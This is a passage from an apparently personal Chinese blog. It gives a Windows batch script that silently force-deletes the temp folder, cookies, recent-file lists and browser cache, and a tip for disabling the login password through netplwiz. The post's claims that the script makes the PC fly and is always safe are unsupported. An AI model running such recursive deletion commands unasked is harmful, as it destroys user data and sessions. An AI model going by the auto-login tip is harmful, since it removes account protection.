rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清除系统LJ完成!
echo. & pause
=====到这里为止(这行不用复制)==============================================

以后只要双击运行该文件,当屏幕提示“清除系统LJ完成!就还你一个“苗条”的系统了!!到时候再看看你的电脑,是不是急速如飞呢?可别忘了回帖喔!
注:LJ就是垃圾的意思!这招比那些所谓的优化大师好用!最重要的是无论在公司默认的系统环境还是在自己家中的电脑都不会破坏系统文件。
继续阅读...

单击“开始/运行”,输入“rundll32 netplwiz.dll,UsersRunDll”,按回车键后弹出“用户帐户”窗口,看清楚,这可跟“控制面板”中打开的“用户账户”面板窗口不同哦!然后取消选定“要使用本机,用户必须输入用户名和密码”选项,单击确定,在弹出的对话框中输入你想让电脑每次自动登录的账户和密码即可。
继续阅读...

Posted by Picasa

继续阅读...

关注者

热门帖子

网页浏览总次数